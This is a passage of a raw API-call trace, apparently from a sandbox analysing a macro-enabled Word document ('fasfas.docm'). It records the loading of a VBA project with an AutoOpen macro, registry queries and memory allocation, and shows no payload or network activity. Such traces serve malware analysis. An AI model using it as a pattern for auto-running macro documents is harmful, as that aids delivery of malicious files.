CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\z006168c313", cchWideChar=14, lpMultiByteStr=0xbcb38f3f40, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\z006168c313", lpUsedDefaultChar=0x0) returned 14 [0067.162] _wcsicmp (_String1="*\\Z006168c313", _String2="*\\Z006168c313") returned 0 [0067.162] wcsncpy_s (in: _Destination=0xbcb38f4050, _SizeInWords=0x108, _Source="*\\CC:\\Users\\FD1HVy\\Desktop\\CUsersUserDesktopfasfas.docm", _MaxCount=0x106 | out: _Destination="*\\CC:\\Users\\FD1HVy\\Desktop\\CUsersUserDesktopfasfas.docm") returned 0x0 [0067.162] CharLowerBuffW (in: lpsz="*\\CC:\\Users\\FD1HVy\\Desktop\\CUsersUserDesktopfasfas.docm", cchLength=0x37 | out: lpsz="*\\cc:\\users\\fd1hvy\\desktop\\cusersuserdesktopfasfas.docm") returned 0x37 [0067.162] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cc:\\users\\fd1hvy\\desktop\\cusersuserdesktopfasfas.docm", cchWideChar=56, lpMultiByteStr=0xbcb38f3f80, cbMultiByte=112, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cc:\\users\\fd1hvy\\desktop\\cusersuserdesktopfasfas.docm", lpUsedDefaultChar=0x0) returned 56 [0067.162] wcscpy_s (in: _Destination=0x28857138610, _SizeInWords=0x804, _Source="*\\CC:\\Users\\FD1HVy\\Desktop\\CUsersUserDesktopfasfas.docm" | out: _Destination="*\\CC:\\Users\\FD1HVy\\Desktop\\CUsersUserDesktopfasfas.docm") returned 0x0 [0067.162] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x84) returned 0x2885d157e40 [0067.163] wcscpy_s (in: _Destination=0x2885d157eb0, _SizeInWords=0x7, _Source="__SRP_" | out: _Destination="__SRP_") returned 0x0 [0067.163] wcscpy_s (in: _Destination=0xbcb38f4700, _SizeInWords=0x40, _Source="__SRP_" | out: _Destination="__SRP_") returned 0x0 [0067.163] _ltow_s (in: _Value=0, _Buffer=0xbcb38f470c, _BufferCount=0x3a, _Radix=16 | out: _Buffer="0") returned 0x0 [0067.163] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x420) returned 0x2884e2a32b0 [0067.163] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x180) returned 0x288571043b0 [0067.163] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2885d51ea20 [0067.164] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f46f0, cbMultiByte=9, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 9 [0067.164] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f46f0, cbMultiByte=9, lpWideCharStr=0x2885d123378, cchWideChar=9 | out: lpWideCharStr="*\\CNormal") returned 9 [0067.164] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0xb8) returned 0x288575fa2c0 [0067.165] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x630) returned 0x2885d41aa00 [0067.165] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x0, cb=0x80) returned 0x2885d158e90 [0067.165] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x230) returned 0x288576b69f0 [0067.167] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x28) returned 0x2885cfefe20 [0067.171] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0xc0) returned 0x2885d57ea30 [0067.171] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2885d51e600 [0067.172] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x60) returned 0x2884e35f550 [0067.172] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x60) returned 0x2884e360270 [0067.175] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2884e2a32b0) [0067.175] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x0, cb=0x10) returned 0x2885d51ec20 [0067.175] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x80) returned 0x2885d157f60 [0067.175] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2885d157f60) returned 0x80 [0067.175] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0xb8) returned 0x288575fa680 [0067.175] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0xb8) returned 0x288575fa080 [0067.176] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x80) returned 0x2885d1587d0 [0067.176] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2885d1587d0) returned 0x80 [0067.176] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0xb8) returned 0x288575f9300 [0067.176] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0xb8) returned 0x288575fb040 [0067.176] malloc (_Size=0x168) returned 0x2885bb68710 [0067.176] malloc (_Size=0x20) returned 0x2885bb66fb0 [0067.176] lstrcpyA (in: lpString1=0x2885bb6875c, lpString2="PROJECT" | out: lpString1="PROJECT") returned="PROJECT" [0067.176] malloc (_Size=0x138) returned 0x2885bb68880 [0067.176] malloc (_Size=0x19d) returned 0x2885bb689c0 [0067.176] malloc (_Size=0x28) returned 0x2885bb67130 [0067.176] malloc (_Size=0x20) returned 0x2885bb66ef0 [0067.176] lstrlenA (lpString="") returned 0 [0067.176] malloc (_Size=0x1) returned 0x2885bb68b70 [0067.176] malloc (_Size=0x1) returned 0x2885bb68b90 [0067.176] lstrcpyA (in: lpString1=0x2885bb68b70, lpString2="" | out: lpString1="") returned="" [0067.176] malloc (_Size=0x28) returned 0x2885bb66f20 [0067.176] malloc (_Size=0x20) returned 0x2885bb67070 [0067.177] lstrlenA (lpString="") returned 0 [0067.177] malloc (_Size=0x1) returned 0x2885bb68bb0 [0067.177] malloc (_Size=0x1) returned 0x2885bb68bd0 [0067.177] lstrcpyA (in: lpString1=0x2885bb68bb0, lpString2="" | out: lpString1="") returned="" [0067.179] malloc (_Size=0x44) returned 0x2885bb69660 [0067.179] lstrcpyA (in: lpString1=0x2885bb68b90, lpString2="" | out: lpString1="") returned="" [0067.179] lstrcmpiA (lpString1="ThisDocument", lpString2="ThisDocument") returned 0 [0067.179] lstrlenA (lpString="ThisDocument") returned 12 [0067.179] lstrcpyA (in: lpString1=0x2885bb68bd0, lpString2="" | out: lpString1="") returned="" [0067.179] lstrcmpiA (lpString1="AutoOpen", lpString2="AutoOpen") returned 0 [0067.179] lstrlenA (lpString="AutoOpen") returned 8 [0067.180] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AutoOpen", cchWideChar=9, lpMultiByteStr=0xbcb38f4200, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AutoOpen", lpUsedDefaultChar=0x0) returned 9 [0067.180] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AutoOpen", cchWideChar=9, lpMultiByteStr=0xbcb38f41e0, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AutoOpen", lpUsedDefaultChar=0x0) returned 9 [0067.180] LHashValOfNameSysA (syskind=0x1, lcid=0x419, szName="AutoOpen") returned 0x302ad9 [0067.180] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2885d51eae0 [0067.180] qsort (in: _Base=0x2885d51eae0, _NumOfElements=0x2, _SizeOfElements=0x8, _PtFuncCompare=0x7ff9bdb99a58 | out: _Base=0x2885d51eae0) [0067.180] CompareStringA (Locale=0x419, dwCmpFlags=0x30001, lpString1="AutoOpen", cchCount1=-1, lpString2="ThisDocument", cchCount2=-1) returned 1 [0067.222] bsearch (_Key=0xbcb38f3138, _Base=0x2885d51eae0, _NumOfElements=0x2, _SizeOfElements=0x8, _PtFuncCompare=0x7ff9bdb99a58) returned 0x2885d51eae0 [0067.222] CompareStringA (Locale=0x419, dwCmpFlags=0x30001, lpString1="AutoOpen", cchCount1=-1, lpString2="AutoOpen", cchCount2=-1) returned 2 [0067.222] free (_Block=0x2885bb69660) [0067.222] atoi (_Str="393222000") returned 393222000 [0067.222] lstrcpynA (in: lpString1=0x2885bb647bc, lpString2="{1D153C24-6CAE-470F-9111-7BAEB4A4A21A}", iMaxLength=39 | out: lpString1="{1D153C24-6CAE-470F-9111-7BAEB4A4A21A}") returned="{1D153C24-6CAE-470F-9111-7BAEB4A4A21A}" [0067.222] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="{00000000-0000-0000-0000-000000000000}", cchWideChar=-1, lpMultiByteStr=0xbcb38f5340, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{00000000-0000-0000-0000-000000000000}", lpUsedDefaultChar=0x0) returned 0 [0067.222] lstrcmpA (lpString1="{00000000-0000-0000-0000-000000000000}", lpString2="{1D153C24-6CAE-470F-9111-7BAEB4A4A21A}") returned -1 [0067.222] lstrlenA (lpString="{1D153C24-6CAE-470F-9111-7BAEB4A4A21A}") returned 38 [0067.222] malloc (_Size=0x4) returned 0x2885bb69660 [0067.223] free (_Block=0x2885bb69660) [0067.223] lstrlenA (lpString="{1D153C24-6CAE-470F-9111-7BAEB4A4A21A}") returned 38 [0067.223] malloc (_Size=0x1) returned 0x2885bb69660 [0067.223] free (_Block=0x2885bb69660) [0067.223] lstrlenA (lpString="{1D153C24-6CAE-470F-9111-7BAEB4A4A21A}") returned 38 [0067.223] malloc (_Size=0x1) returned 0x2885bb69660 [0067.223] free (_Block=0x2885bb69660) [0067.223] free (_Block=0x2885bb689c0) [0067.223] free (_Block=0x2885bb66ef0) [0067.223] free (_Block=0x2885bb67130) [0067.223] free (_Block=0x2885bb67070) [0067.223] free (_Block=0x2885bb66f20) [0067.223] free (_Block=0x2885bb68880) [0067.223] lstrcmpiA (lpString1="Host Extender Info", lpString2="Host Extender Info") returned 0 [0067.223] lstrlenA (lpString="&H00000001") returned 10 [0067.223] malloc (_Size=0xb) returned 0x2885bb69300 [0067.223] lstrcmpiA (lpString1="Host Extender Info", lpString2="Host Extender Info") returned 0 [0067.223] lstrcmpiA (lpString1="&H00000001", lpString2="&H00000001") returned 0 [0067.223] lstrlenA (lpString="{3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000") returned 53 [0067.223] malloc (_Size=0x36) returned 0x2885bb69660 [0067.223] lstrlenA (lpString="{3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000") returned 53 [0067.223] malloc (_Size=0x68) returned 0x2885bb68880 [0067.224] CLSIDFromString (in: lpsz="{3832D640-CF90-11CF-8E43-00A0C911005A}", pclsid=0x2885bb688ac | out: pclsid=0x2885bb688ac*(Data1=0x3832d640, Data2=0xcf90, Data3=0x11cf, Data4=([0]=0x8e, [1]=0x43, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0x11, [6]=0x0, [7]=0x5a))) returned 0x0 [0067.224] free (_Block=0x2885bb69660) [0067.224] free (_Block=0x2885bb69300) [0067.224] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2885d41aae0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0067.224] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2885d41aae0, cbMultiByte=-1, lpWideCharStr=0x2884e19c3a8, cchWideChar=8 | out: lpWideCharStr="Project") returned 8 [0067.224] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Project", cchWideChar=-1, lpMultiByteStr=0xbcb38f4b00, cbMultiByte=2043, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Project", lpUsedDefaultChar=0x0) returned 8 [0067.224] lstrlenA (lpString="Project") returned 7 [0067.224] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x28) returned 0x2884e19baa0 [0067.225] GetWindowThreadProcessId (in: hWnd=0x1033a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x12d4 [0067.246] SendMessageA (hWnd=0x1033a, Msg=0x84, wParam=0x0, lParam=0x2090012) returned 0x1 [0067.246] SendMessageA (hWnd=0x1033a, Msg=0x20, wParam=0x1033a, lParam=0x2000001) returned 0x1 [0068.079] SetCursor (hCursor=0x10007) returned 0x10007 [0068.079] strnlen (_Str="C:\\Users\\FD1HVy\\Documents", _MaxCount=0x7fffffff) returned 0x19 [0068.079] malloc (_Size=0x1a) returned 0x2885bb66e60 [0068.079] malloc (_Size=0x1a) returned 0x2885bb67070 [0068.079] lstrcpynA (in: lpString1=0x2885bb66e60, lpString2="C:\\Users\\FD1HVy\\Documents", iMaxLength=26 | out: lpString1="C:\\Users\\FD1HVy\\Documents") returned="C:\\Users\\FD1HVy\\Documents" [0068.081] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1078) returned 0x2885d624920 [0068.081] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1740) returned 0x2885d619790 [0068.081] GetLocalTime (in: lpSystemTime=0xbcb38f4d58 | out: lpSystemTime=0xbcb38f4d58*(wYear=0x7e4, wMonth=0xa, wDayOfWeek=0x0, wDay=0x4, wHour=0x17, wMinute=0x35, wSecond=0x38, wMilliseconds=0x2b3)) [0068.081] _ultow_s (in: _Value=0x6168c314, _Buffer=0x2885d62494a, _BufferCount=0x7ff, _Radix=16 | out: _Buffer="6168c314") returned 0x0 [0068.081] wcsncpy_s (in: _Destination=0xbcb38f4a20, _SizeInWords=0x108, _Source="*\\Z016168c314", _MaxCount=0x106 | out: _Destination="*\\Z016168c314") returned 0x0 [0068.081] CharLowerBuffW (in: lpsz="*\\Z016168c314", cchLength=0xd | out: lpsz="*\\z016168c314") returned 0xd [0068.081] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\z016168c314", cchWideChar=14, lpMultiByteStr=0xbcb38f4950, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\z016168c314", lpUsedDefaultChar=0x0) returned 14 [0068.081] wcscpy_s (in: _Destination=0x2885d4f2330, _SizeInWords=0xe, _Source="*\\Z016168c314" | out: _Destination="*\\Z016168c314") returned 0x0 [0068.082] wcsncpy_s (in: _Destination=0xbcb38f4a60, _SizeInWords=0x108, _Source="*\\Z016168c314", _MaxCount=0x106 | out: _Destination="*\\Z016168c314") returned 0x0 [0068.082] CharLowerBuffW (in: lpsz="*\\Z016168c314", cchLength=0xd | out: lpsz="*\\z016168c314") returned 0xd [0068.082] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\z016168c314", cchWideChar=14, lpMultiByteStr=0xbcb38f4990, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\z016168c314", lpUsedDefaultChar=0x0) returned 14 [0068.084] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x84) returned 0x2885d159040 [0068.084] wcscpy_s (in: _Destination=0x2885d1590b0, _SizeInWords=0x7, _Source="__SRP_" | out: _Destination="__SRP_") returned 0x0 [0068.084] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x0, cb=0x180) returned 0x28857104540 [0068.084] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0xb8) returned 0x288575f90c0 [0068.085] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0xb8) returned 0x288575f9480 [0068.085] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x230) returned 0x288576b7e30 [0068.085] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x0, cb=0x80) returned 0x2885d158f20 [0068.085] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x230) returned 0x288576b84f0 [0068.085] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x230) returned 0x288576b70b0 [0068.085] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x28) returned 0x288574fe490 [0068.085] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2885d51f0a0 [0068.085] GetLocaleInfoA (in: Locale=0x411, LCType=0x1004, lpLCData=0xbcb38f46cc, cchData=6 | out: lpLCData="932") returned 4 [0068.085] atoi (_Str="932") returned 932 [0068.174] GetLocalTime (in: lpSystemTime=0xbcb38f46c0 | out: lpSystemTime=0xbcb38f46c0*(wYear=0x7e4, wMonth=0xa, wDayOfWeek=0x0, wDay=0x4, wHour=0x17, wMinute=0x35, wSecond=0x38, wMilliseconds=0x311)) [0068.175] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x80) returned 0x2885d158740 [0068.175] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x0) returned 0x2885d5e58b0 [0068.175] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x80) returned 0x2885d158b30 [0068.175] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x288574fe610 [0068.175] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x80) returned 0x2885d159e50 [0068.175] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2885d159e50, cb=0x280) returned 0x2885d4ca2b0 [0068.175] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x0) returned 0x2885d5e5990 [0068.175] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x0) returned 0x2885d5e5a70 [0068.176] strcpy_s (in: _Dst=0xbcb38f44a0, _DstSize=0xc8, _Src="Software\\Microsoft\\VBA\\" | out: _Dst="Software\\Microsoft\\VBA\\") returned 0x0 [0068.176] strcat_s (in: _Destination="Software\\Microsoft\\VBA\\", _SizeInBytes=0xc8, _Source="7.1\\Common" | out: _Destination="Software\\Microsoft\\VBA\\7.1\\Common") returned 0x0 [0068.176] RegCreateKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\VBA\\7.1\\Common", Reserved=0x0, lpClass="", dwOptions=0x0, samDesired=0xf003f, lpSecurityAttributes=0x0, phkResult=0x7ff9bdf346e8, lpdwDisposition=0x0 | out: phkResult=0x7ff9bdf346e8*=0x124c, lpdwDisposition=0x0) returned 0x0 [0068.176] RegQueryValueExA (in: hKey=0x124c, lpValueName="RequireDeclaration", lpReserved=0x0, lpType=0xbcb38f4578, lpData=0xbcb38f4570, lpcbData=0xbcb38f4574*=0x4 | out: lpType=0xbcb38f4578*=0x0, lpData=0xbcb38f4570*=0x57, lpcbData=0xbcb38f4574*=0x4) returned 0x2 [0068.176] RegQueryValueExA (in: hKey=0x124c, lpValueName="CompileOnDemand", lpReserved=0x0, lpType=0xbcb38f4578, lpData=0xbcb38f4570, lpcbData=0xbcb38f4574*=0x4 | out: lpType=0xbcb38f4578*=0x0, lpData=0xbcb38f4570*=0x0, lpcbData=0xbcb38f4574*=0x4) returned 0x2 [0068.176] RegQueryValueExA (in: hKey=0x124c, lpValueName="NotifyUserBeforeStateLoss", lpReserved=0x0, lpType=0xbcb38f4578, lpData=0xbcb38f4570, lpcbData=0xbcb38f4574*=0x4 | out: lpType=0xbcb38f4578*=0x0, lpData=0xbcb38f4570*=0x1, lpcbData=0xbcb38f4574*=0x4) returned 0x2 [0068.176] RegQueryValueExA (in: hKey=0x124c, lpValueName="BackGroundCompile", lpReserved=0x0, lpType=0xbcb38f4578, lpData=0xbcb38f4570, lpcbData=0xbcb38f4574*=0x4 | out: lpType=0xbcb38f4578*=0x0, lpData=0xbcb38f4570*=0x0, lpcbData=0xbcb38f4574*=0x4) returned 0x2 [0068.176] RegQueryValueExA (in: hKey=0x124c, lpValueName="BreakOnAllErrors", lpReserved=0x0, lpType=0xbcb38f4578, lpData=0xbcb38f4570, lpcbData=0xbcb38f4574*=0x4 | out: lpType=0xbcb38f4578*=0x0, lpData=0xbcb38f4570*=0xff, lpcbData=0xbcb38f4574*=0x4) returned 0x2 [0068.176] RegQueryValueExA (in: hKey=0x124c, lpValueName="BreakOnServerErrors", lpReserved=0x0, lpType=0xbcb38f4578, lpData=0xbcb38f4570, lpcbData=0xbcb38f4574*=0x4 | out: lpType=0xbcb38f4578*=0x0, lpData=0xbcb38f4570*=0x0, lpcbData=0xbcb38f4574*=0x4) returned 0x2 [0068.176] RegCloseKey (hKey=0x124c) returned 0x0 [0068.176] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0xc0) returned 0x2885d57f590 [0068.176] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0xc0) returned 0x2885d580840 [0068.176] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1300) returned 0x2885d61aee0 [0068.176] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0x2885b390000 [0068.177] VirtualAlloc (lpAddress=0x0, dwSize=0x40000, flAllocationType=0x2000, flProtect=0x4) returned 0x28860c80000 [0068.180] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Left") returned 0x107be5 [0068.180] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x0, cb=0x30) returned 0x2885763af60 [0068.180] VirtualAlloc (lpAddress=0x0, dwSize=0x3000, flAllocationType=0x1000, flProtect=0x4) returned 0x2885b3a0000 [0068.181] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Object") returned 0x102ec1 [0068.181] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x2885bd90000 [0068.181] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0x28860cc0000 [0068.182] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0x28860cd0000 [0068.183] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Intrinsics") returned 0x109464 [0068.183] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0x28860ce0000 [0068.183] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Unknown") returned 0x10a11d [0068.183] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="") returned 0x10c0b3 [0068.183] VirtualAlloc (lpAddress=0x0, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x28860cf0000 [0068.184] VirtualAlloc (lpAddress=0x0, dwSize=0x40000, flAllocationType=0x2000, flProtect=0x4) returned 0x28860d00000 [0068.184] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x420) returned 0x2884e2a32b0 [0068.184] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2884e2a32b0) [0068.184] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="0") returned 0x401047 [0068.184] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x0, cb=0x30) returned 0x2885763afe0 [0068.184] VirtualAlloc (lpAddress=0x0, dwSize=0x3000, flAllocationType=0x1000, flProtect=0x4) returned 0x28860d40000 [0068.185] VirtualAlloc (lpAddress=0x28860d00000, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0x28860d00000 [0068.185] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Abs") returned 0x4072bc [0068.185] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Access") returned 0x401d98 [0068.186] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="AddressOf") returned 0x40e252 [0068.186] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Alias") returned 0x40bf6d [0068.186] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="And") returned 0x407469 [0068.186] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Any") returned 0x40747a [0068.186] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Append") returned 0x408f83 [0068.186] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Array") returned 0x409183 [0068.186] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="As") returned 0x405c8d [0068.186] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Assert") returned 0x4096e9 [0068.186] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="B") returned 0x401059 [0068.186] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Base") returned 0x40afa9 [0068.186] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="BF") returned 0x405ca5 [0068.186] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Binary") returned 0x4008a0 [0068.186] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Boolean") returned 0x40978e [0068.186] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="ByRef") returned 0x4074ef [0068.186] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Byte") returned 0x401a83 [0068.186] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="ByVal") returned 0x4089c5 [0068.186] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Call") returned 0x40744b [0068.186] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Case") returned 0x407547 [0068.186] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="CBool") returned 0x404c74 [0068.186] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="CByte") returned 0x406d3c [0068.187] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="CCur") returned 0x408050 [0068.187] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="CDate") returned 0x408dc3 [0068.187] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="CDec") returned 0x40834a [0068.187] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="CDbl") returned 0x4082e4 [0068.187] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="CDecl") returned 0x40a0b9 [0068.187] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="ChDir") returned 0x40b2fb [0068.187] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="CInt") returned 0x409f65 [0068.187] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Circle") returned 0x403fd1 [0068.187] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="CLng") returned 0x40af63 [0068.187] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Close") returned 0x4005ab [0068.187] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Compare") returned 0x40af82 [0068.187] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Const") returned 0x40517a [0068.187] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="CSng") returned 0x40d4d2 [0068.187] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="CStr") returned 0x40d5bb [0068.187] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="CurDir") returned 0x401bab [0068.187] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="CurDir$") returned 0x40f7cc [0068.187] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="CurDir") returned 0x401bab [0068.187] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="CVar") returned 0x40e307 [0068.187] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="CVDate") returned 0x40cfd6 [0068.187] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="CVErr") returned 0x408902 [0068.187] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Currency") returned 0x40f106 [0068.187] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Database") returned 0x40eec7 [0068.187] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Date") returned 0x403b0a [0068.187] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Date$") returned 0x4031c7 [0068.187] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Date") returned 0x403b0a [0068.187] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Debug") returned 0x40eaee [0068.187] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Decimal") returned 0x4036dd [0068.187] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Declare") returned 0x404a38 [0068.187] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="DefBool") returned 0x4091ad [0068.187] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="DefByte") returned 0x40b275 [0068.187] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="DefCur") returned 0x40cc45 [0068.187] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="DefDate") returned 0x40d2fc [0068.187] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="DefDec") returned 0x40cf3f [0068.188] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="DefDbl") returned 0x40ced9 [0068.188] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="DefInt") returned 0x40eb5a [0068.188] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="DefLng") returned 0x40fb58 [0068.188] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="DefObj") returned 0x40096b [0068.188] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="DefSng") returned 0x402088 [0068.188] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="DefStr") returned 0x402171 [0068.188] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="DefVar") returned 0x402ebd [0068.188] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Dim") returned 0x4083c4 [0068.188] 